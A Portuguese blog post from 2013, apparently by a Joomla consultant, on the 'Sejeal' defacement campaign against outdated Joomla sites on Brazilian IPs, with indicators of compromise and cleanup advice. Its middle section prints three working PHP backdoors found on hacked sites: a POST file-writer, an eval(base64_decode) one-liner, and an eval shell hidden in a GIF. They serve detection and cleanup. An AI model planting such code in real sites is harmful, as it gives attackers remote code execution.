Este artigo é focado em clientes de colegas e pessoas que entraram em contato comigo para ajudar a resolver este problema. Invasões por motivos diversos acontecem todos os dias, mas esta em especial, focada massivamente em IPs brasileiros via vunerabilidades de CMS Joomla desatualizado, merece atenção especial sua.

Neste artigo vou citar alguns rastros que podem ser encontrados e que devem ser removidos do seu site, mesmo que a porta de entrada que resultou na invasão tenha sido removida. Mais do que isso, dou recomendações específicas para os desenvolvedores que lidarão com essa situação.

Atenção com cavalos de tróia!

Mesmo que a causa inicial da invasão tenha sido resolvida, como atualizar o CMS Joomla e extensões, muito cuidado com arquivos do tipo "cavalo de tróia" espalhados em pastas do seu site que podem levar a novas invasões.

Filosoficamente, o que poderia ser "SEJEAL":

Um dos usos de "Sejeal" fora da internet é marcar locais que serão alvos de ataques de bombas. Uma interpretação dessa ironia seria que os ataques a sites com esse emblema seriam uma referência de que eles serão uma ponte para um ataque real a curto ou médio prazo, provavelmente por DDoS.

Atenção administradores de rede!

Caso sites de sua rede, quer seja você um provedor de hospedagem compartilhada, Sysadmin de uma rede universitária ou de uma empresa privada, tenham sido invadidos e contenham backdoor, acredito fortemente que que há uma alta chance de você ser um proxy de ataques organizados contra sites governamentais e políticos, ou mesmo qualquer outro que tenha sido pago ao cracker para ser atacado e/ou usado como fonte de spam. Um ataque de uma rede DDoS de "grande porte" é muito mais severo que de computadores zumbis comuns, além de a médio prazo marcar seus IPs em listas negras, trazendo problemas mais tarde. Ajude seus usuários a identificar invasões e fique alerta para qualquer aumento na quantidade de dados de "upload" de sua rede para IPs sincronizados.

Como descobrir se foi atacado

Sejeal

Dentre alguns rastros típicos de invasão, cito pelo menos:

  • Seu site esta listado em http://www.zone-h.com.br/archive/notifier=Sejeal
  • A raíz do site contém o arquivo sejeal.jpg, ou seja: http://example.com/sejeal.jpg (extensão de imagem, formato de imagem)
  • Outros diretórios do site também contém o arquivo sejeal.jpg, como por exemplo “/tmp/sejeal.jpg”, “/media/sejeal.jpg”
  • Arquivos incomuns na raíz do site, porém com nomes semelhantes a alguns usados pelo CMS Joomla. Exemplo: “INSTALL.php”, “LICENSES.php”
  • Arquivos aleatórios em pastas diferentes do site, com os nomes index.bak.php, defult1.bak.php, index.old.php, index.1.php e semelhantes
  • Arquivos de imagem com extensão de arquivo de imagem (como .git, .jpg, .png), mas que na verdade possuem um script em PHP nos códigos fonte. Exemplos de imagem: ba235.gif e 0day.gif. Servidores mal configurados podem executar imagens como se fossem um PHP.
  • Uma quantidade significativa de ataques a IPs brasileiros foi iniciada em 15 de janeiro de 2013.
  • Os atacantes, mesmo depois do ataque inicial, em dias alternados, re-invadiram os mesmos sites e deixaram mais arquivos do tipo backdoor com padrões diferentes, dificultando serem pegos por um padrão único.
  • O atacante não obtem acesso e senhas de FTP/SSH do cliente. Tudo é feito usando toolkits.
  • IPs atacantes não tem um padrão único

Códigos típicos encontrados além do defacement

Recomendo, em especial para gerentes de rede, vasculharem sites a procura de padrões como os listados nos códigos abaixo. Desnecessário deixar claro que além desses, certamente outros arquivos devem estar presentes.

Códigos do tipo backdoors (cavalos de tróia) encontrados em arquivos como INSTALL.php, LICENSES.php e afins:

<?php
// Comentários, códigos curtos como um header com copyright, 
// ou então texto puro "Restricted accoss" (sim, erro de inglês) e "forbidden"
error_reporting(0); 
ini_set("max_execution_time",0); 
ini_set("default_socket_timeout", 2); 
ob_implicit_flush (1); 
$file = "".$_POST["path"];
$fh = fopen ($file, 'w') or die("");
echo fwrite ($fh, stripslashes($_POST["raw_data"]));
fclose($fh);

Códigos do tipo backdoors (cavalos de tróia) encontrado em arquivo como como arquivos com nomes index.bak.php, defult1.bak.php, index.old.php e index.1.php

<?PHP defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['comment']))); ?>

Códigos do tipo backdoors (cavalos de tróia) encontrados em arquivos com nomes index.bak.php, defult1.bak.php, index.old.php e index.1.php

<?PHP defined('_OLD_JEXEC_') or die(@eval(base64_decode($_REQUEST['comment']))); ?>

Código de exemplo encontrado dentro de imagem:

GIF89a1
<?php 
if (isset($_REQUEST['p1'])) {
  eval(stripslashes($_REQUEST['p1']));
} else {
  echo "djeu84m";
}
?>

Em clientes analisados, pude encontrar outros códigos além desses, porém como são "mais perigosos" e potencialmente didáticos à script kiddies, prefiro não postar publicamente.

O que fazer caso tenha sido invadido (hackeado) por esse tipo de ataque

Não culpe o CMS Joomla! por algo que é culpa sua

Pelo que pude perceber até o momento, as razões que permitiram estas invasões são falhas causadas por software desatualizado há vários meses e que são publicamente conhecidas. Não vá a público, fóruns ou terceiros e fale mal da aplicação porque você ou quem você tenha pago deixou de fazer o que deveria ter sido feito. O CMS Joomla não é inseguro: inseguro é o administrador que foi relapso. Aprenda e não deixe isso acontecer novamente

Algumas recomendações para resolver ou contornar o problema

  • O foco inicial é um CMS Joomla com extensões Joomla desatualizadas. Atualize-o urgente e remova todos os backdoors manualmente.Não adianta esquecer de remover os vestígios da invasão. Dê atenção em especial à extensão "JCE Editor"
  • Apenas marcar o site como "offline" na administração do CMS Joomla não resolve ataques secundários. Backdoors espalhados em múltiplas pastas do site garantem isso. Se tiver que "travar" o site, faça-o via configuração do servidor, ou, no mínimo, via .htaccess. Recomendo retornar como erro "503 Service Unavailable"
  • Mesmo que um site tenha sido invadido, todos os demais sites acessíveis ao mesmo usuário do servidor no qual o PHP invadido tenha poder de escrita, estão potencialmente invadidos. Se esse é seu caso, investigue todos os demais sites.

Como contornar emergencialmente a situação caso o site tenha que ficar online a qualquer custo

Nem tudo são flores: alguns sites não podem ficar offline e ao mesmo tempo devem ser periciados. Uma solução de emergência é colocar seu site em modo "somente leitura", porém, a configuração disso pode ser complicada e exclusiva conforme cada servidor. Algo que certamente funcionará é configurar seu servidor para que ele use um outro diretório como base para seu site e, nesse diretório, colocar cópias em HTML puro das páginas principais do seu site.

Como obter suporte se você não sabe como resolver as situações acima

Recomendo que você entre em contato com a pessoa que lhe ajudou a desenvolver seu site Joomla que foi atacado, e, se ela já não souber desta página, indique a ela para que ela ao menos saiba mais sobre o que está acontecendo. As recomendações acima servem como um bom ponto de partida. Você deve ter em mente que, mesmo que uma versão do seu site volte a funcionar, o seu profissional pode demorar uma quantidade razoável de horas revisando todos os arquivos e diretórios para fazer uma limpeza complexa, além de atualizar o seu site para evitar uma nova porta de entrada.

Eu, Emerson, tendo a dar suporte para quem já é desenvolvedor Joomla, mas em uma situação dessas posso ajudar diretamente clientes finais que estejam sem alguém de confiança. Você pode saber mais via consultoria técnica.

Atualizado em 28 de fevereiro de 2013

Sobre o assunto, tenho novidades:

  • No Zone-H, houve uma pausa em anúncios do "Sejeal" entre 8 a 28 de fevereiro. Não obstante, há sites que foram invadidos pelos mesmos motivos e o atacante não realizou defacement, porém sim apenas deixou um ou mais cavalos de troias, e procurou ser o mais discreto possível. Isso é preocupante.
  • Alguns sites que sofreram ataques, com ou sem traços do "sejeal.jpg", em especial que pareçam ter popularidade/importância-aparente, estão sendo re-invadidos mais de uma vez, provavelmente porque o desenvolvedor ou deixou a porta de entrada aberta ou, o que é mais provável, apenas não limpou todos os backdoors
  • Alguns sites já estão sendo usados para enviar spam com o potencial máximo de upload que sua hospedagem puder prover.
  • Como a maior parte dos Joomlas afetados rodam em versão de PHP antiga e sem suporte (5.2), pelo menos hospedagens menores estão fazendo pressão para que a pessoa resolva o problema ou será expulsa.

Reforço: desenvolvedores, não basta apenas atualizar o CMS e remover uma e outra extensão, vocês deverão verificar cavalos de tróia. E mais, tomem cuidado com serviços de migração do CMS Joomla 1.5 para Joomla 2.5/3.0, que há boas chances de cavalos de tróias não detectados sejam usados para atacar um CMS atualizado, então garre vergonha na cara antes de ir a publico e dizer que seu site atualizado foi invadido.